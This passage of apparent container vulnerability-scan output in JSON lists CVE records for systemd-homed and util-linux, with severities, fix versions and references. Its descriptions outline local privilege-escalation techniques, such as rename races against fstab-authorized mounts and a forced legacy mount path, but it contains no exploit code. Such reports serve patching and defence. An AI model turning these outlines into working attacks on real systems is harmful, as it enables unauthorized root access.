"sha256:34cb20702a7e7fa5a69cfa19c70e5ce54b55fef3c4acb848ff3b0d0975107f3f", "Title": "systemd: systemd-homed: Local privilege escalation via missing home-record signature verification", "Description": "systemd-homed contains a local privilege escalation bug via arbitrary system group addition to a local, logged in, homed-managed user", "Severity": "HIGH", "CweIDs": [ "CWE-269", "CWE-347" ], "VendorSeverity": { "amazon": 3, "azure": 2, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-16742", "https://github.com/systemd/systemd/security/advisories/GHSA-jm29-p7hh-vjhv", "https://nvd.nist.gov/vuln/detail/CVE-2026-16742", "https://ubuntu.com/security/notices/USN-8626-1", "https://www.cve.org/CVERecord?id=CVE-2026-16742" ], "PublishedDate": "2026-08-10T14:17:21.277Z", "LastModifiedDate": "2026-10-23T20:10:00.16Z" }, { "VulnerabilityID": "CVE-2026-53612", "VendorIDs": [ "DSA-6442-1" ], "PkgID": "libuuid1@2.41-5", "PkgName": "libuuid1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libuuid1@2.41-5?arch=amd64\u0026distro=debian-13.6", "UID": "1afbb50818377478" }, "InstalledVersion": "2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53612", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:345aec4f075a48d0548b2d3ae8f0ceafeab91904357f40f58aea0084057641e0", "Title": "util-linux: util-linux: TOCTOU in the mount program when applying post-mount ownership/mode changes", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.39 through 2.41.4 and 2.42 through 2.42.1, the SUID `mount` utility's `hook_owner.c` post-mount hook performs path-based `chmod()` and `lchown()` operations on a previously validated mount target. A local low-privileged user authorized by an `/etc/fstab` entry with `user` or `users` and an `X-mount.mode`, `X-mount.owner`, or `X-mount.group` option can use `renameat2(RENAME_EXCHANGE)` to race a writable ancestor of the target and redirect the privileged ownership or mode change to a root-owned path, potentially gaining root privileges. This issue is fixed in 2.41.5 and 2.42.2.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53612", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/24da33905c7115c4cbccd0afb2a469804e96467a", "https://github.com/util-linux/util-linux/commit/722c96974dd4009a334e4aee556eedaab5fb94b4", "https://github.com/util-linux/util-linux/commit/897a08c2b11dfa66975c3d24d63c7bf5f5be1a7c", "https://github.com/util-linux/util-linux/commit/d0c5adaeb3a3d823aba1377794de8f009b8152cc", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/security/advisories/GHSA-g8wm-75wr-g2vh", "https://linux.oracle.com/cve/CVE-2026-53612.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53612", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53612" ], "PublishedDate": "2026-10-14T15:17:20.26Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53613", "VendorIDs": [ "DSA-6442-1" ], "PkgID": "libuuid1@2.41-5", "PkgName": "libuuid1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libuuid1@2.41-5?arch=amd64\u0026distro=debian-13.6", "UID": "1afbb50818377478" }, "InstalledVersion": "2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53613", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:df57e2403b64bccfdfce3e0fc5e22942b11566520dca39e38cc2f2e05c8bcf82", "Title": "util-linux: TOCTOU in the mount program via ancestor directory swap on target path", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.17 through 2.41.6 and 2.42 through 2.42.3, and in 2.42.4 when the legacy `mount(2)` path is used without `/proc`, restricted non-root `mount` requests validate an `/etc/fstab` target before the mount operation re-resolves that pathname. A local low-privileged user authorized by an fstab `user` or `users` entry whose target has an attacker-writable ancestor can use `renameat2(RENAME_EXCHANGE)` to swap a path component and redirect an authorized mount to a root-owned location, such as mounting attacker-controlled content over `/etc/sudoers.d`, and thereby gain root privileges. Versions 2.41.5 and 2.42.2 pin targets for the new mount API, and 2.42.4 pins legacy targets through `/proc/self/fd`; the documented legacy fallback without `/proc` remains affected.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53613", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/0b010025a0e429bc80355c94db86a843395d49e2", "https://github.com/util-linux/util-linux/commit/0d3d55975aa3492c62fd345eac38f41cd166c0b0", "https://github.com/util-linux/util-linux/commit/2c773f336134acf016e639abb6f12ba7341fe4b8", "https://github.com/util-linux/util-linux/commit/39fef62bf3226abb6bb018fa8750afa0327e84b4", "https://github.com/util-linux/util-linux/commit/472cc3fb2d4d47cca7aab2e0b59eb3fb8a9359ec", "https://github.com/util-linux/util-linux/commit/646fb66603d10a7ac337e14f566f1af48e3107c9", "https://github.com/util-linux/util-linux/commit/708d1b3c51932dc5ba8082c7368187715e6a8d78", "https://github.com/util-linux/util-linux/commit/78a860982e036f38fe9c0b3344998df5ac2c2ff5", "https://github.com/util-linux/util-linux/commit/85d16b341f7232c9dbb4884b632e1e956584bee9", "https://github.com/util-linux/util-linux/commit/a9508d216eb8977979102782672e0470cc9bf2a2", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/releases/tag/v2.42.4", "https://github.com/util-linux/util-linux/security/advisories/GHSA-8gj5-72r3-428g", "https://linux.oracle.com/cve/CVE-2026-53613.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53613", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53613" ], "PublishedDate": "2026-10-14T15:17:20.41Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53614", "VendorIDs": [ "DSA-6442-1" ], "PkgID": "libuuid1@2.41-5", "PkgName": "libuuid1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libuuid1@2.41-5?arch=amd64\u0026distro=debian-13.6", "UID": "1afbb50818377478" }, "InstalledVersion": "2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53614", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:bde6d5cdfdc4c686bf9116c0652c4385e253e84de80c915fe53f42501e732ffe", "Title": "util-linux: util-linux: SUID mount(8) allows nosuid/noexec bypass via LIBMOUNT_FORCE_MOUNT2", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.39.1 through 2.41.4 and 2.42 through 2.42.1, the SUID `mount` utility reads the attacker-controlled `LIBMOUNT_FORCE_MOUNT2` environment variable with `getenv()`, allowing a local low-privileged\nuser to force the non-atomic legacy bind-mount path. With an `/etc/fstab` bind mount authorized by `user` or `users` and protected by `nosuid`, `noexec`, or `nodev`, an attacker can race the window between the initial bind mount and the remount that applies those security flags and execute a SUID program from the temporarily unprotected mount, potentially gaining root privileges. This issue is fixed in 2.41.5 and 2.42.2.", "Severity": "HIGH", "CweIDs": [ "CWE-269", "CWE-807" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53614", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/31e37c1c7dcf25b76ccf41391fe934a75644c661", "https://github.com/util-linux/util-linux/commit/53ff0fcdab12d69c60c971c69a3d0d173fa46ca9", "https://github.com/util-linux/util-linux/commit/9cbfb823500f510b34767edabd3ffd5b436987b4", "https://github.com/util-linux/util-linux/commit/cc81bbcec598cb91f0eb8456282f33eed820ed5f", "https://github.com/util-linux/util-linux/commit/fd6b4d94ff013dc7ed680d4e864610da5b9751f1", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/security/advisories/GHSA-67r7-8m5w-22wx", "https://linux.oracle.com/cve/CVE-2026-53614.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53614", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53614" ], "PublishedDate": "2026-10-14T16:17:45.93Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53615", "PkgID": "libuuid1@2.41-5", "PkgName": "libuuid1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libuuid1@2.41-5?arch=amd64\u0026distro=debian-13.6", "UID": "1afbb50818377478" }, "InstalledVersion": "2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53615", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:dbf364680ca83b3b8fabbb0a131a41e90e11524f1b59552f40cec9d4655b4a82", "Title": "util-linux: util-linux: Partition metadata compromise via integer overflow in DOS partition parser", "Description": "util-linux is a random collection of Linux utilities. Before util-linux 2.41.4, `parse_dos_extended()` in `libblkid/src/partitions/dos.c` computes an extended-partition start sector with 32-bit addition and does not apply the extended-area bounds checks to the first two EBR entries. A local attacker who causes a crafted DOS extended-partition disk image or removable medium to be probed can wrap `cur_start + start` to sector zero and cause libblkid to report a false partition overlapping the MBR. This directly compromises the integrity of the reported partition metadata; disk modification or availability loss requires a separate downstream consumer to act on that metadata. This issue is fixed in 2.41.4.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H", "V3Score": 8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53615", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/05c2dbadf34cc74192287f377904afaaf4061623", "https://github.com/util-linux/util-linux/commit/a2d858176b609ab5b8535021a3af9cd302d23d31", "https://github.com/util-linux/util-linux/commit/e9d544d013267ea86b70ee8ff78abd280e6641af", "https://github.com/util-linux/util-linux/releases/tag/v2.41.4", "https://github.com/util-linux/util-linux/security/advisories/GHSA-h4rw-gv36-wmp5", "https://linux.oracle.com/cve/CVE-2026-53615.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53615", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53615" ], "PublishedDate": "2026-10-14T16:17:46.07Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-76642", "PkgID": "libuuid1@2.41-5", "PkgName": "libuuid1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libuuid1@2.41-5?arch=amd64\u0026distro=debian-13.6", "UID": "1afbb50818377478" }, "InstalledVersion": "2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-76642", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:bbf4d348acf820d4ff5d5f2722a717c78a24a40d276cafe3b28afd91cdf862d2", "Title": "util-linux: util-linux: failed external mount helper still runs privileged X-mount post-hooks", "Description": "util-linux versions through 2.41.5 and 2.42.2 fail to check mount helper exit status before running post-mount hooks, allowing unprivileged users to execute privileged operations on pre-existing filesystems. Attackers can exploit X-mount.idmap or X-mount.owner hooks to clone filesystems with inherited suid bits or modify target inode permissions after a helper fails, achieving privilege escalation.", "Severity": "HIGH", "CweIDs": [ "CWE-390" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-76642", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux", "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L476", "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L892", "https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a", "https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc", "https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf", "https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f", "https://linux.oracle.com/cve/CVE-2026-76642.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-76642", "https://www.cve.org/CVERecord?id=CVE-2026-76642", "https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper" ], "PublishedDate": "2026-09-03T13:06:08.44Z", "LastModifiedDate": "2026-09-24T20:28:01.78Z" }, { "VulnerabilityID": "CVE-2026-78408", "PkgID": "libuuid1@2.41-5", "PkgName": "libuuid1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libuuid1@2.41-5?arch=amd64\u0026distro=debian-13.6", "UID": "1afbb50818377478" }, "InstalledVersion": "2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78408", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:4d01c436f5cd08240e5f3101ec57e81b905ef231b341619ecf4483db2da3d508", "Title": "util-linux: util-linux: nsenter --join-cgroup leaks root cgroup migration authority", "Description": "The nsenter --join-cgroup option opens the target cgroup.procs file as root and leaves that file descriptor open across later namespace and credential changes and across execve(). Because the kernel checks later cgroup migrations using the credentials from the original open, a program run in an attacker-controlled target can inherit root's ability to move host processes between cgroups. After a privileged operator uses --join-cgroup against that target, an unprivileged user can migrate and terminate unrelated root processes.", "Severity": "HIGH", "CweIDs": [ "CWE-775" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H", "V3Score": 7.9 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/09/05/2", "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/errata/RHSA-2026:95365", "https://access.redhat.com/security/cve/CVE-2026-78408", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj", "https://linux.oracle.com/cve/CVE-2026-78408.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-78408", "https://www.cve.org/CVERecord?id=CVE-2026-78408" ], "PublishedDate": "2026-09-02T16:17:23.687Z", "LastModifiedDate": "2026-11-05T03:17:32.977Z" }, { "VulnerabilityID": "CVE-2026-78409", "PkgID": "libuuid1@2.41-5", "PkgName": "libuuid1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libuuid1@2.41-5?arch=amd64\u0026distro=debian-13.6", "UID": "1afbb50818377478" }, "InstalledVersion": "2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78409", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:3cf78f0b1e6a6e332d0ef69d50ad54e33741e2d2573b81b66270e453c93f9317", "Title": "util-linux: util-linux: X-mount.subdir detached-tree resolution can escape via intermediate symlinks", "Description": "The X-mount.subdir option uses a detached-tree fast path on Linux 6.15 and later and passes the configured subdirectory to open_tree() with AT_SYMLINK_NOFOLLOW. That flag does not stop intermediate symlink traversal or keep resolution inside the newly mounted filesystem. A local unprivileged user with an fstab-authorized X-mount.subdir entry can attach a host path at the intended mountpoint.", "Severity": "HIGH", "CweIDs": [ "CWE-59" ], "VendorSeverity": { "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/security/cve/CVE-2026-78409", "https://bugzilla.redhat.com/show_bug.cgi?id=2522607", "https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv", "https://nvd.nist.gov/vuln/detail/CVE-2026-78409", "https://www.cve.org/CVERecord?id=CVE-2026-78409" ], "PublishedDate": "2026-09-02T16:17:23.833Z", 